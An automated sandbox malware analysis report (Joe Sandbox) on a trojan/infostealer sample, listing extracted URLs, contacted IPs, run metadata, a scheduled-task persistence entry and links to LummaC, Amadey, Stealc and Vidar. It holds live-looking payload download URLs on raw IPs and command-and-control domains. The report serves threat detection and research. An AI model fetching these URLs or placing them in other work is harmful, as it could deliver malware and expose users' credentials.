https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://grannyejh.lat/wnC.q	f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe	f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000002.3253447631.0000000000764000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/fecQ	324fcfa2b3.exe, 0000000A.00000003.3086187109.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147880886.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3152494935.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086862934.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069801901.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049166957.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://sci.libertyreserve.com/	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 6454cda0dd.exe, 00000014.00000000.3289959239.0000000000F22000.00000002.00000001.01000000.00000011.sdmp, 6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pancakedipyps.click:443/apin	324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/pi	324fcfa2b3.exe, 0000000A.00000003.3087049951.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086187109.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3152401057.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147996207.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/QG	ba94e3db0d.exe, 0000000C.00000002.3328837625.00000000057D0000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://html4/loose.dtd	c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	high
https://grannyejh.lat/y	f2de4e119f.exe, 00000007.00000003.2981221146.0000000000765000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/wicked/random.exe	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp	ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	unknown
https://pancakedipyps.click/piz	324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	false	high
https://grannyejh.lat/apiY	f2de4e119f.exe, 00000007.00000003.3002836126.000000000532F000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://grannyejh.lat/r	f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2931837535.000000000532F000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/lumma/random.exe6	skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://grannyejh.lat/p	f2de4e119f.exe, 00000007.00000003.2981221146.0000000000765000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2985919472.0000000000767000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/wicked/random.exe7	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/history.aspxS	6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://.css	c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	high
https://pancakedipyps.click:443/api	324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3151978215.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://grannyejh.lat/apis	f2de4e119f.exe, 00000007.00000003.3039245381.0000000000767000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	false	high
https://grannyejh.lat/apip	f2de4e119f.exe, 00000007.00000003.2981221146.0000000000765000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2985919472.0000000000767000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.micro(	f2de4e119f.exe, 00000007.00000003.3131893764.0000000000742000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/london/random.exe	skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322	c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/accountname.aspx	6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://.jpg	c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	high
http://crl.micro8	ba94e3db0d.exe, 0000000C.00000003.3254995716.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000002.3316219494.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3289194378.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3256240729.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3257004403.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3154358623.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://grannyejh.lat/:	f2de4e119f.exe, 00000007.00000003.3039245381.0000000000767000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/unique1/random.exem	skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/http-cookies.html	c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	false	high
https://grannyejh.lat/	f2de4e119f.exe, 00000007.00000003.3131893764.0000000000745000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3039245381.0000000000767000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/wicked/random.exeeL	skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/29	324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
172.67.209.202	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
147.45.113.159	home.twentytk20pn.top	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.21.91.209	treehoneyi.click	United States	13335	CLOUDFLARENETUS	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578660
Start date and time:	2024-12-20 02:09:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@43/23@16/11
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 142.250.181.99, 184.30.17.189, 172.217.17.78, 64.233.162.84, 23.195.61.229, 142.250.181.142, 172.217.17.46, 20.42.65.88, 172.217.17.74, 172.217.19.170, 216.58.208.234, 172.217.19.234, 142.250.181.106, 142.250.181.138, 172.217.17.42, 172.217.19.202, 142.250.181.74, 13.107.246.63, 20.109.210.53, 2.20.62.163
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, onedscolprdeus08.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:10:00	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:11:01	API Interceptor	8489x Sleep call for process: skotes.exe modified
20:11:16	API Interceptor	51x Sleep call for process: f2de4e119f.exe modified
20:11:26	API Interceptor	8x Sleep call for process: 324fcfa2b3.exe modified
20:11:46	API Interceptor	6x Sleep call for process: ba94e3db0d.exe modified
20:12:03	API Interceptor	1x Sleep call for process: 6454cda0dd.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.179.109	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
treehoneyi.click	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.180.113
grannyejh.lat	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.67.179.109
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.23.76
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	random.exe.10.exe	Get hash	malicious	LummaC	Browse	104.21.23.76
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	104.21.23.76
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.64
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
CLOUDFLARENETUS	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	104.22.149.172
	https://docs.google.com/presentation/d/e/2PACX-1vRbuxCSjoSTqnuwwycGfoopwUno5J5X0s9YIzYdS1Me8P6MAP3FFMvOzHT6E_SBRsWcXRtJqZiYhJR5/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse	104.21.12.7
	http://docusign.net	Get hash	malicious	Unknown	Browse	104.18.66.57
	hubus.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	104.21.112.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.64.80
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	104.21.23.76
	https://www.canva.com/design/DAGZxEJMIA0/pFi0b1a1Y78oAGDuII8Hjg/view?utm_content=DAGZxEJMIA0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=hdcdec8ed4a	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://gateway.lighthouse.storage/ipfs/bafkreigjxudfsi54f5pliswxztgujxgpdhe4uyrezdbg5avbtrclxrxc6i	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	billys.exe	Get hash	malicious	Meduza Stealer	Browse	172.67.74.152
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	185.215.113.16
